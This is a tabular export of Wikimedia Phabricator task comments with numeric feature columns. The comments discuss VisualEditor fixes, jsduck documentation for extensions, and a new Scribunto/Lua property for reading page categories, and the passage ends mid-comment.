218207,"VisualEditor: ""This is a minor edit"" is not auto checked in save dialog if the ""minordefault"" preference is on",Merged into master; will go out with wmf5.,,,1368638598,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-lxnhaohtjgjw5zamlish,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,30.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,Merged into master; will go out with wmf5.
218202,"VisualEditor: ""This is a minor edit"" is not auto checked in save dialog if the ""minordefault"" preference is on",Related URL: https://gerrit.wikimedia.org/r/63844 (Gerrit Change Ib5cdcb9433be5ff7b9179d3833f42e5c3453285a),,,1368621284,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-lxnhaohtjgjw5zamlish,task_subcomment,,True,c1,1,False,,,-7,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change Ib5cdcb9433be5ff7b9179d3833f42e5c3453285a)
218198,"VisualEditor: ""This is a minor edit"" is not auto checked in save dialog if the ""minordefault"" preference is on","(In reply to comment #1)
> You know, if minoredit preference was killed, this wouldn't be an issue...

I couldn't agree more :)",,,1368250904,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-lxnhaohtjgjw5zamlish,task_subcomment,,True,c1,1,False,,,-8,,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,12.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,12.0,0.0,6.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,2.823529411764706,1.0,"(In reply to comment #1)
QUOTE

I couldn't agree more :)"
218194,"VisualEditor: ""This is a minor edit"" is not auto checked in save dialog if the ""minordefault"" preference is on","You know, if minoredit preference was killed, this wouldn't be an issue...",,,1368250852,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-lxnhaohtjgjw5zamlish,task_subcomment,,True,c1,1,False,,,-8,,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,6.0,6.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.9375,0.9375,"You know, if minoredit preference was killed, this wouldn't be an issue..."
50337,Allow extensions to automatically generate jsduck documentation on doc.wikimedia.org,"Core now has jsduck documentation on https://doc.wikimedia.org/mediawiki-core/master/js/ .  It would be useful to provide a standardized mechanism for extensions to have their jsduck documentation automatically added under doc.wikimedia.org as well.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=48244",Low,25.0,1368220260,1394685438.0,PHID-USER-dw53c5cb2qfhyemej57o,True,,False,PHID-TASK-cci6rbbarnfeumyquutn,task_description,resolved,True,c1,1,True,False,False,-8,,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,10.0,0.0,2.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,13.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,8.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.433333333333334,0.65,"Core now has jsduck documentation on URL .  It would be useful to provide a standardized mechanism for extensions to have their jsduck documentation automatically added under doc.wikimedia.org as well.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL"
217656,Allow extensions to automatically generate jsduck documentation on doc.wikimedia.org,"Marking this fixed.  The general functionality is there.  For GuidedTour specifically, https://gerrit.wikimedia.org/r/#/c/118428/ and https://gerrit.wikimedia.org/r/#/c/118426/ are in progress.",,,1394685438,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-cci6rbbarnfeumyquutn,task_subcomment,,True,c1,3,True,,,36,,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,26.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.304347826086956,0.8260869565217391,"Marking this fixed.  The general functionality is there.  For GuidedTour specifically, URL and URL are in progress."
217652,Allow extensions to automatically generate jsduck documentation on doc.wikimedia.org,"It looks like VisualEditor and MultimediaViewer are both doing so now.  i don't know if they're one-offs or there's a general process.

However, I would like to do the same for GuidedTour.  Currently, we have it at http://growthdoc.wmflabs.org/GuidedTour/ .",,,1393639541,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-cci6rbbarnfeumyquutn,task_subcomment,,True,c1,3,True,,,34,,0.0,0.0,0.0,0.0,2.0,4.0,2.0,0.0,0.0,2.0,2.0,4.0,0.0,0.0,2.0,6.0,0.0,10.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,12.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,15.0,2.0,4.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,12.0,10.0,6.0,0.0,0.0,0.0,12.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.519230769230769,0.8653846153846154,"It looks like VisualEditor and MultimediaViewer are both doing so now.  i don't know if they're one-offs or there's a general process.

However, I would like to do the same for GuidedTour.  Currently, we have it at URL ."
50272,VisualEditor: Over-ride browser window/tab title to show you're in editing mode,"Wikitext edit has page title ""Editing Foobar"", as opposed to reading-mode's ""Foobar"". For people with a number of tabs open, it'd be great for them to get a handle on where they are by updating the window title to prepend ""Editing "" to it (and remove it on save).

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1368044160,1368885131.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-jhka5utrurrafo6ytxhv,task_description,resolved,True,c1,1,True,False,True,-8,,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,10.0,1.0,1.0,4.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,6.0,15.0,6.0,0.0,7.0,0.0,6.0,0.0,1.0,2.0,1.0,1.0,0.0,0.0,0.0,3.5609756097560976,0.6829268292682927,"Wikitext edit has page title ""Editing Foobar"", as opposed to reading-mode's ""Foobar"". For people with a number of tabs open, it'd be great for them to get a handle on where they are by updating the window title to prepend ""Editing "" to it (and remove it on save).

--------------------------
**Version**: unspecified
**Severity**: enhancement"
213634,VisualEditor: Over-ride browser window/tab title to show you're in editing mode,"Yes, re-using 'editing' & 'creating' messages.

(In reply to comment #2)
> (In reply to comment #1)
> > And 'Creating'.
> 
> Ah, yes. Presumably they're existing MW messages to steal, avoiding
> duplication
> of i18n efforts?.",,,1368885209,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-jhka5utrurrafo6ytxhv,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,6.0,3.0,3.0,0.0,0.0,9.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,2.8285714285714287,0.6285714285714286,"Yes, re-using 'editing' & 'creating' messages.

(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE"
213630,VisualEditor: Over-ride browser window/tab title to show you're in editing mode,Merged; will go out with wmf5.,,,1368885131,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-jhka5utrurrafo6ytxhv,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,25.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.125,1.0,Merged; will go out with wmf5.
213626,VisualEditor: Over-ride browser window/tab title to show you're in editing mode,Related URL: https://gerrit.wikimedia.org/r/64325 (Gerrit Change I9dcc8ec2c37a7ff9cff6cedb7bdb1fed1bdc4deb),,,1368807251,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jhka5utrurrafo6ytxhv,task_subcomment,,True,c1,1,False,,,-7,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I9dcc8ec2c37a7ff9cff6cedb7bdb1fed1bdc4deb)
213623,VisualEditor: Over-ride browser window/tab title to show you're in editing mode,"(In reply to comment #1)
> And 'Creating'.

Ah, yes. Presumably they're existing MW messages to steal, avoiding duplication of i18n efforts?.",,,1368804528,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-jhka5utrurrafo6ytxhv,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,13.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,6.0,3.0,0.0,3.0,13.0,6.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.6129032258064515,0.9032258064516129,"(In reply to comment #1)
QUOTE

Ah, yes. Presumably they're existing MW messages to steal, avoiding duplication of i18n efforts?."
213619,VisualEditor: Over-ride browser window/tab title to show you're in editing mode,And 'Creating'.,,,1368804345,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-jhka5utrurrafo6ytxhv,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,2.8,0.8,And 'Creating'.
50175,Scribunto/Lua should have a built-in method for retrieving categories used on a page,"It would be helpful to have a built-in method in Scribunto/Lua that allows retrieving a list of the categories used on a page.

For example, <https://en.wikipedia.org/wiki/Einar_Schleef> would return a list that includes:

* German dramatists and playwrights
* 1944 births
* 2001 deaths

As these categories are included on this page.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**: {T20596}",Low,25.0,1367867880,1723050710.0,PHID-USER-hyfm4swq76s4j642w46x,False,PHID-USER-escte3psz5yfd2nj3jzr,False,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_description,resolved,True,c1,1,False,False,False,-8,,0.0,0.0,0.0,1.0,0.0,3.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,9.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,3.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,1.0,0.0,15.0,1.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,2.0,13.0,0.0,1.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,1.0,9.0,3.0,0.0,0.0,0.0,1.0,0.0,2.0,4.0,0.0,1.0,0.0,0.0,1.0,3.6808510638297873,0.6276595744680851,"It would be helpful to have a built-in method in Scribunto/Lua that allows retrieving a list of the categories used on a page.

For example, <URL would return a list that includes:

* German dramatists and playwrights
* 1944 births
* 2001 deaths

As these categories are included on this page.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**: {T20596}"
2397170,Scribunto/Lua should have a built-in method for retrieving categories used on a page,"@SD0001 Thank you! One more hesitant suggestion: I was looking for something to link the term ""edit notices"" to, and found the page https://www.mediawiki.org/wiki/Manual:Interface/Edit_notice - I wonder if it would be worth adding an example there for this new capability? (~~Or perhaps the Scribunto requirement makes this unfeasible?~~ EDIT: (I'm probably wrong here, I see it's default with 1.34+))",,,1723770787,,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,580,,0.0,1.0,0.0,0.0,0.0,7.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,5.0,0.0,7.0,8.0,1.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,8.0,4.0,3.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,5.0,3.0,14.0,1.0,1.0,8.0,0.0,0.0,1.0,0.0,3.0,0.0,4.0,0.0,9.0,8.0,3.0,1.0,3.0,0.0,9.0,0.0,0.0,1.0,0.0,3.0,1.0,0.0,0.0,3.9324324324324325,0.8108108108108109,"SCREEN_NAME Thank you! One more hesitant suggestion: I was looking for something to link the term ""edit notices"" to, and found the page URL - I wonder if it would be worth adding an example there for this new capability? (~~Or perhaps the Scribunto requirement makes this unfeasible?~~ EDIT: (I'm probably wrong here, I see it's default with 1.34+))"
2397164,Scribunto/Lua should have a built-in method for retrieving categories used on a page,"@SD0001 Thank you! One more hesitant suggestion: I was looking for something to link the term ""edit notices"" to, and found the page https://www.mediawiki.org/wiki/Manual:Interface/Edit_notice - I wonder if it would be worth adding an example there for this new capability? (Or perhaps the Scribunto requirement makes this unfeasible?)",,,1723768444,,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,580,,0.0,2.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,5.0,9.0,2.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,4.0,2.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,14.0,2.0,4.0,11.0,0.0,0.0,2.0,0.0,4.0,0.0,2.0,0.0,7.0,9.0,2.0,4.0,4.0,0.0,7.0,0.0,0.0,2.0,0.0,4.0,2.0,0.0,0.0,4.12280701754386,0.8596491228070176,"SCREEN_NAME Thank you! One more hesitant suggestion: I was looking for something to link the term ""edit notices"" to, and found the page URL - I wonder if it would be worth adding an example there for this new capability? (Or perhaps the Scribunto requirement makes this unfeasible?)"
2397025,Scribunto/Lua should have a built-in method for retrieving categories used on a page,"@Quiddity I have documented the new property in the [[https://www.mediawiki.org/wiki/Extension:Scribunto/Lua_reference_manual#Title_objects|Lua reference manual]]. Suggested blurb for tech news:

> Page categories are now accessible in Lua modules via `categories` property of [[https://www.mediawiki.org/wiki/Extension:Scribunto/Lua_reference_manual#Title_objects|mw.title objects]]. This enables use cases like category-specific editnotices.",,,1723746686,,PHID-USER-52k2lmr37woy42l6kdmv,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,580,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,36.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,20.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.04,0.88,"SCREEN_NAME I have documented the new property in the [[URL reference manual]]. Suggested blurb for tech news:

QUOTE"
2396608,Scribunto/Lua should have a built-in method for retrieving categories used on a page,"@SD0001 Hi, I'm wondering if you're able to help answer any of the requests in my comment above? (Or anyone familiar, who sees this!) But I also guess you may still be traveling/recovering/catching-up from Wikimania, so no rush if it needs to wait a week or two! Thanks.",,,1723675356,,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,580,,2.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,2.0,3.0,0.0,0.0,0.0,5.0,2.0,5.0,12.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,8.0,3.0,2.0,2.0,3.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,3.0,2.0,12.0,5.0,5.0,8.0,0.0,0.0,3.0,0.0,6.0,2.0,2.0,0.0,9.0,12.0,2.0,2.0,0.0,0.0,9.0,0.0,2.0,2.0,0.0,6.0,0.0,0.0,2.0,3.4923076923076923,0.8769230769230769,"SCREEN_NAME Hi, I'm wondering if you're able to help answer any of the requests in my comment above? (Or anyone familiar, who sees this!) But I also guess you may still be traveling/recovering/catching-up from Wikimania, so no rush if it needs to wait a week or two! Thanks."
2393088,Scribunto/Lua should have a built-in method for retrieving categories used on a page,"Hi, this sounds great, and thank you Pppery for adding the user-notice tag. Two requests, and a note:
1. Please could someone **suggest some wording for a Tech News entry**? -- I've read the comments above, and the linked gerrit patch, but I'm still uncertain how to clearly describe the new function(s?) that will be available to editors. 
  * Here's a rough-guess attempt (and structure example): 
  * ""Editors can now use Lua code to get a listing of categories used in a page. This enables [example use-case?]. The [link]documentation has details and examples[/link] of how this new function can be used.
2. Please could someone write (or link us to any existing) **permanent documentation for the new function(s)**? -- I.e. It seems like it would be good to have a page-section on MediaWiki-wiki for any details and examples. That will also make it possible to have a shorter Tech News entry that simply links to those details/examples!
* Note: I see the gerrit commit-msg says ""//This enables category-specific editnotices (T85372) and other use-cases.//"" -- Maybe that task needs an update (of some sort)? Or to be highlighted in the docs/TN entry if it's already available due to this task's resolution?
Thanks!",,,1723058925,,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,579,,1.3333333333333333,0.6666666666666666,0.0,0.6666666666666666,0.0,4.666666666666667,0.6666666666666666,0.0,0.0,0.3333333333333333,1.0,0.6666666666666666,0.0,0.0,0.0,1.3333333333333333,0.0,3.6666666666666665,8.0,0.6666666666666666,1.6666666666666667,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,1.3333333333333333,1.0,0.0,4.666666666666667,1.6666666666666667,1.3333333333333333,1.6666666666666667,0.3333333333333333,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,2.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,16.666666666666668,1.3333333333333333,1.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,1.6666666666666667,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,5.333333333333333,1.3333333333333333,9.333333333333334,1.3333333333333333,3.3333333333333335,9.0,0.0,0.0,0.6666666666666666,0.0,4.333333333333333,1.0,0.3333333333333333,0.0,3.0,8.0,3.6666666666666665,2.0,1.0,0.0,3.0,0.0,1.3333333333333333,2.6666666666666665,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,1.3333333333333333,3.6538168230000765,0.7500190650499503,"Hi, this sounds great, and thank you Pppery for adding the user-notice tag. Two requests, and a note:
1. Please could someone **suggest some wording for a Tech News entry**? -- I've read the comments above, and the linked gerrit patch, but I'm still uncertain how to clearly describe the new function(s?) that will be available to editors. 
  * Here's a rough-guess attempt (and structure example): 
  * ""Editors can now use Lua code to get a listing of categories used in a page. This enables [example use-case?]. The [link]documentation has details and examples[/link] of how this new function can be used.
2. Please could someone write (or link us to any existing) **permanent documentation for the new function(s)**? -- I.e. It seems like it would be good to have a page-section on MediaWiki-wiki for any details and examples. That will also make it possible to have a shorter Tech News entry that simply links to those details/examples!
* Note: I see the gerrit commit-msg says ""//This enables category-specific editnotices (T85372) and other use-cases.//"" -- Maybe that task needs an update (of some sort)? Or to be highlighted in the docs/TN entry if it's already available due to this task's resolution?
Thanks!"
2392982,Scribunto/Lua should have a built-in method for retrieving categories used on a page,"Change #919459 **merged** by jenkins-bot:
%%%[mediawiki/extensions/Scribunto@master] Expose page categories to Lua%%%
https://gerrit.wikimedia.org/r/919459",,,1723049408,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-drv4cgq5tb5q7a75rjxp,task_subcomment,,True,c1,3,False,,,579,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,10.0,3.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.838709677419355,0.7741935483870968,"Change #919459 **merged** by jenkins-bot:
%%%[mediawiki/extensions/Scribunto@master] Expose page categories to Lua%%%
GERRIT_URL"
2327567,Scribunto/Lua should have a built-in method for retrieving categories used on a page,"I struggled to get proxying to work on the second test wiki I created, but I was able to still test the specific use case of category editnotices on the first test wiki and that functions correctly. We probably need more use cases tested before the change can be 